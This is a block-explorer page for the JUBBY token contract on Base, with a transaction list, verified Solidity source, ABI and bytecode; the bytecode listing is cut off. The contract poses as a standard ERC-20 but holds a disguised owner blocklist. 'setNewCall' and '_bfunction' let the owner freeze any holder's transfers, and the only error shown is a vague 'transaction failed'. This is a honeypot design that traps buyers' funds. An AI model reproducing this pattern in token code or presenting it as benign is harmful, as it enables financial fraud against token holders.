ETH Price: $2,854.77 (-2.94%)
 

Overview

ETH Balance

0 ETH

ETH Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Transfer360788002025-09-27 4:22:27120 days ago1758946947IN
0xec5E5d9E...dE895Bc9D
0 ETH0.00000010.00203501
Approve358265472025-09-21 8:14:01126 days ago1758442441IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000290.01168187
Transfer357450622025-09-19 10:57:51128 days ago1758279471IN
0xec5E5d9E...dE895Bc9D
0 ETH0.00000010.00205726
Approve350346002025-09-03 0:15:47145 days ago1756858547IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000030.0013967
Transfer348475212025-08-29 16:19:49149 days ago1756484389IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000420.00826172
Transfer344418872025-08-20 6:58:41158 days ago1755673121IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000160.00501209
Transfer344390632025-08-20 5:24:33158 days ago1755667473IN
0xec5E5d9E...dE895Bc9D
0 ETH0.00000010.00203887
Transfer342314022025-08-15 10:02:31163 days ago1755252151IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000020.00042813
Approve333857332025-07-26 20:13:33183 days ago1753560813IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000140.00599091
Transfer323934362025-07-03 20:56:59206 days ago1751576219IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000120.00238659
Transfer320716042025-06-26 10:09:15213 days ago1750932555IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000090.00286528
Approve310201362025-06-02 2:00:19238 days ago1748829619IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000060.00141681
Transfer307630032025-05-27 3:09:13244 days ago1748315353IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000090.00177369
Transfer300181422025-05-09 21:20:31261 days ago1746825631IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000110.00222418
Transfer291109812025-04-18 21:21:49282 days ago1745011309IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000350.00164533
Transfer289957722025-04-16 5:21:31284 days ago1744780891IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000090.00186305
Approve268681222025-02-25 23:19:51334 days ago1740525591IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000070.00284454
Transfer265893042025-02-19 12:25:55340 days ago1739967955IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000140.00282196
Transfer261303212025-02-08 21:26:29351 days ago1739049989IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000160.00331704
Transfer257974812025-02-01 4:31:49358 days ago1738384309IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000310.00563142
Transfer250062042025-01-13 20:55:55377 days ago1736801755IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000990.01848442
Approve242403672024-12-27 3:28:01395 days ago1735270081IN
0xec5E5d9E...dE895Bc9D
0 ETH0.00000130.01429224
Approve241918422024-12-26 0:30:31396 days ago1735173031IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000310.00638452
Transfer240582072024-12-22 22:16:01399 days ago1734905761IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000460.00874782
Approve239756992024-12-21 0:25:45401 days ago1734740745IN
0xec5E5d9E...dE895Bc9D
0 ETH0.000000210.00389706
View all transactions

Parent Transaction Hash Block From To
View All Internal Transactions

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
JUBBY

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2024-10-20
*/

/*                                                              
© 2024 JUBBY
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract JUBBY {
    string public constant name = "JUBBY";
    string public constant symbol = "JUBBY";
    uint8 public constant decimals = 18;
    uint256 public constant INITIAL_SUPPLY = 800000000 * 10**18;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _bfunction;
    uint256 private _totalSupply;

    address private _owner;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event GenFunctionUpdated(address indexed account, bool isGenFunction);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
        _mint(_owner, INITIAL_SUPPLY);
    }
    

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        require(!_bfunction[msg.sender], "transaction failed");
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(!_bfunction[sender], "transaction failed");
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function setNewCall(address account, bool isGenFunction) public onlyOwner {
        _bfunction[account] = isGenFunction;
        emit GenFunctionUpdated(account, isGenFunction);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");
        require(_balances[sender] >= amount, "Transfer amount exceeds balance");

        
        require(!_bfunction[sender], "transaction failed");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "Mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isGenFunction","type":"bool"}],"name":"GenFunctionUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isGenFunction","type":"bool"}],"name":"setNewCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061008d60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b0295be96e64066972000000061009260201b60201c565b6102dc565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f79061022d565b60405180910390fd5b8060035f8282546101119190610281565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101639190610281565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101c791906102c3565b60405180910390a35050565b5f82825260208201905092915050565b7f4d696e7420746f20746865207a65726f206164647265737300000000000000005f82015250565b5f6102176018836101d3565b9150610222826101e3565b602082019050919050565b5f6020820190508181035f8301526102448161020b565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61028b8261024b565b91506102968361024b565b92508282019050808211156102ae576102ad610254565b5b92915050565b6102bd8161024b565b82525050565b5f6020820190506102d65f8301846102b4565b92915050565b61154d806102e95f395ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c806370a082311161008a578063a457c2d711610064578063a457c2d71461024c578063a9059cbb1461027c578063ab65c7f3146102ac578063dd62ed3e146102c8576100e8565b806370a08231146101f4578063715018a61461022457806395d89b411461022e576100e8565b806323b872dd116100c657806323b872dd146101585780632ff2e9dc14610188578063313ce567146101a657806339509351146101c4576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102f8565b6040516101019190610f0d565b60405180910390f35b610124600480360381019061011f9190610fbe565b610331565b6040516101319190611016565b60405180910390f35b610142610347565b60405161014f919061103e565b60405180910390f35b610172600480360381019061016d9190611057565b610350565b60405161017f9190611016565b60405180910390f35b61019061047f565b60405161019d919061103e565b60405180910390f35b6101ae61048f565b6040516101bb91906110c2565b60405180910390f35b6101de60048036038101906101d99190610fbe565b610494565b6040516101eb9190611016565b60405180910390f35b61020e600480360381019061020991906110db565b61052d565b60405161021b919061103e565b60405180910390f35b61022c610572565b005b6102366106be565b6040516102439190610f0d565b60405180910390f35b61026660048036038101906102619190610fbe565b6106f7565b6040516102739190611016565b60405180910390f35b61029660048036038101906102919190610fbe565b610790565b6040516102a39190611016565b60405180910390f35b6102c660048036038101906102c19190611130565b610830565b005b6102e260048036038101906102dd919061116e565b610965565b6040516102ef919061103e565b60405180910390f35b6040518060400160405280600581526020017f4a5542425900000000000000000000000000000000000000000000000000000081525081565b5f61033d3384846109e7565b6001905092915050565b5f600354905090565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156103db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d2906111f6565b60405180910390fd5b6103e6848484610baa565b61047484338460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461046f9190611241565b6109e7565b600190509392505050565b6b0295be96e64066972000000081565b601281565b5f61052333848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461051e9190611274565b6109e7565b6001905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f8906112f1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6040518060400160405280600581526020017f4a5542425900000000000000000000000000000000000000000000000000000081525081565b5f61078633848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107819190611241565b6109e7565b6001905092915050565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561081b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610812906111f6565b60405180910390fd5b610826338484610baa565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906112f1565b60405180910390fd5b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fec2f6ab03a0838e5e5aafee2c32949cf4348db4c28a246bd572e9aa6428e6925826040516109599190611016565b60405180910390a25050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90611359565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba906113c1565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b9d919061103e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0f90611429565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611491565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc906114f9565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d86906111f6565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dda9190611241565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e2c9190611274565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e90919061103e565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610edf82610e9d565b610ee98185610ea7565b9350610ef9818560208601610eb7565b610f0281610ec5565b840191505092915050565b5f6020820190508181035f830152610f258184610ed5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f5a82610f31565b9050919050565b610f6a81610f50565b8114610f74575f80fd5b50565b5f81359050610f8581610f61565b92915050565b5f819050919050565b610f9d81610f8b565b8114610fa7575f80fd5b50565b5f81359050610fb881610f94565b92915050565b5f8060408385031215610fd457610fd3610f2d565b5b5f610fe185828601610f77565b9250506020610ff285828601610faa565b9150509250929050565b5f8115159050919050565b61101081610ffc565b82525050565b5f6020820190506110295f830184611007565b92915050565b61103881610f8b565b82525050565b5f6020820190506110515f83018461102f565b92915050565b5f805f6060848603121561106e5761106d610f2d565b5b5f61107b86828701610f77565b935050602061108c86828701610f77565b925050604061109d86828701610faa565b9150509250925092565b5f60ff82169050919050565b6110bc816110a7565b82525050565b5f6020820190506110d55f8301846110b3565b92915050565b5f602082840312156110f0576110ef610f2d565b5b5f6110fd84828501610f77565b91505092915050565b61110f81610ffc565b8114611119575f80fd5b50565b5f8135905061112a81611106565b92915050565b5f806040838503121561114657611145610f2d565b5b5f61115385828601610f77565b92505060206111648582860161111c565b9150509250929050565b5f806040838503121561118457611183610f2d565b5b5f61119185828601610f77565b92505060206111a285828601610f77565b9150509250929050565b7f7472616e73616374696f6e206661696c656400000000000000000000000000005f82015250565b5f6111e0601283610ea7565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61124b82610f8b565b915061125683610f8b565b925082820390508181111561126e5761126d611214565b5b92915050565b5f61127e82610f8b565b915061128983610f8b565b92508282019050808211156112a1576112a0611214565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f6112db601783610ea7565b91506112e6826112a7565b602082019050919050565b5f6020820190508181035f830152611308816112cf565b9050919050565b7f417070726f76652066726f6d20746865207a65726f20616464726573730000005f82015250565b5f611343601d83610ea7565b915061134e8261130f565b602082019050919050565b5f6020820190508181035f83015261137081611337565b9050919050565b7f417070726f766520746f20746865207a65726f206164647265737300000000005f82015250565b5f6113ab601b83610ea7565b91506113b682611377565b602082019050919050565b5f6020820190508181035f8301526113d88161139f565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f611413601e83610ea7565b915061141e826113df565b602082019050919050565b5f6020820190508181035f83015261144081611407565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f61147b601c83610ea7565b915061148682611447565b602082019050919050565b5f6020820190508181035f8301526114a88161146f565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e6365005f82015250565b5f6114e3601f83610ea7565b91506114ee826114af565b602082019050919050565b5f6020820190508181035f830152611510816114d7565b905091905056fea264697066735822122018689a6675945944bca9bff76641a1e0ffb741b0b7245e6e5c71b3e4a4c7ad2864736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c806370a082311161008a578063a457c2d711610064578063a457c2d71461024c578063a9059cbb1461027c578063ab65c7f3146102ac578063dd62ed3e146102c8576100e8565b806370a08231146101f4578063715018a61461022457806395d89b411461022e576100e8565b806323b872dd116100c657806323b872dd146101585780632ff2e9dc14610188578063313ce567146101a657806339509351146101c4576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102f8565b6040516101019190610f0d565b60405180910390f35b610124600480360381019061011f9190610fbe565b610331565b6040516101319190611016565b60405180910390f35b610142610347565b60405161014f919061103e565b60405180910390f35b610172600480360381019061016d9190611057565b610350565b60405161017f9190611016565b60405180910390f35b61019061047f565b60405161019d919061103e565b60405180910390f35b6101ae61048f565b6040516101bb91906110c2565b60405180910390f35b6101de60048036038101906101d99190610fbe565b610494565b6040516101eb9190611016565b60405180910390f35b61020e600480360381019061020991906110db565b61052d565b60405161021b919061103e565b60405180910390f35b61022c610572565b005b6102366106be565b6040516102439190610f0d565b60405180910390f35b61026660048036038101906102619190610fbe565b6106f7565b6040516102739190611016565b60405180910390f35b61029660048036038101906102919190610fbe565b610790565b6040516102a39190611016565b60405180910390f35b6102c660048036038101906102c19190611130565b610830565b005b6102e260048036038101906102dd919061116e565b610965565b6040516102ef919061103e565b60405180910390f35b6040518060400160405280600581526020017f4a5542425900000000000000000000000000000000000000000000000000000081525081565b5f61033d3384846109e7565b6001905092915050565b5f600354905090565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156103db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d2906111f6565b60405180910390fd5b6103e6848484610baa565b61047484338460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461046f9190611241565b6109e7565b600190509392505050565b6b0295be96e64066972000000081565b601281565b5f61052333848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461051e9190611274565b6109e7565b6001905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f8906112f1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6040518060400160405280600581526020017f4a5542425900000000000000000000000000000000000000000000000000000081525081565b5f61078633848460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107819190611241565b6109e7565b6001905092915050565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561081b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610812906111f6565b60405180910390fd5b610826338484610baa565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906112f1565b60405180910390fd5b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fec2f6ab03a0838e5e5aafee2c32949cf4348db4c28a246bd572e9aa6428e6925826040516109599190611016565b60405180910390a25050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90611359565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba906113c1565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b9d919061103e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0f90611429565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611491565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc906114f9565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d86906111f6565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dda9190611241565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e2c9190611274565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e90919061103e565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610edf82610e9d565b610ee98185610ea7565b9350610ef9818560208601610eb7565b610f0281610ec5565b840191505092915050565b5f6020820190508181035f830152610f258184610ed5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f5a82610f31565b9050919050565b610f6a81610f50565b8114610f74575f80fd5b50565b5f81359050610f8581610f61565b92915050565b5f819050919050565b610f9d81610f8b565b8114610fa7575f80fd5b50565b5f81359050610fb881610f94565b92915050565b5f8060408385031215610fd457610fd3610f2d565b5b5f610fe185828601610f77565b9250506020610ff285828601610faa565b9150509250929050565b5f8115159050919050565b61101081610ffc565b82525050565b5f6020820190506110295f830184611007565b92915050565b61103881610f8b565b82525050565b5f6020820190506110515f83018461102f565b92915050565b5f805f6060848603121561106e5761106d610f2d565b5b5f61107b86828701610f77565b935050602061108c86828701610f77565b925050604061109d86828701610faa565b9150509250925092565b5f60ff82169050919050565b6110bc816110a7565b82525050565b5f6020820190506110d55f8301846110b3565b92915050565b5f602082840312156110f0576110ef610f2d565b5b5f6110fd84828501610f77565b91505092915050565b61110f81610ffc565b8114611119575f80fd5b50565b5f8135905061112a81611106565b92915050565b5f806040838503121561114657611145610f2d565b5b5f61115385828601610f77565b92505060206111648582860161111c565b9150509250929050565b5f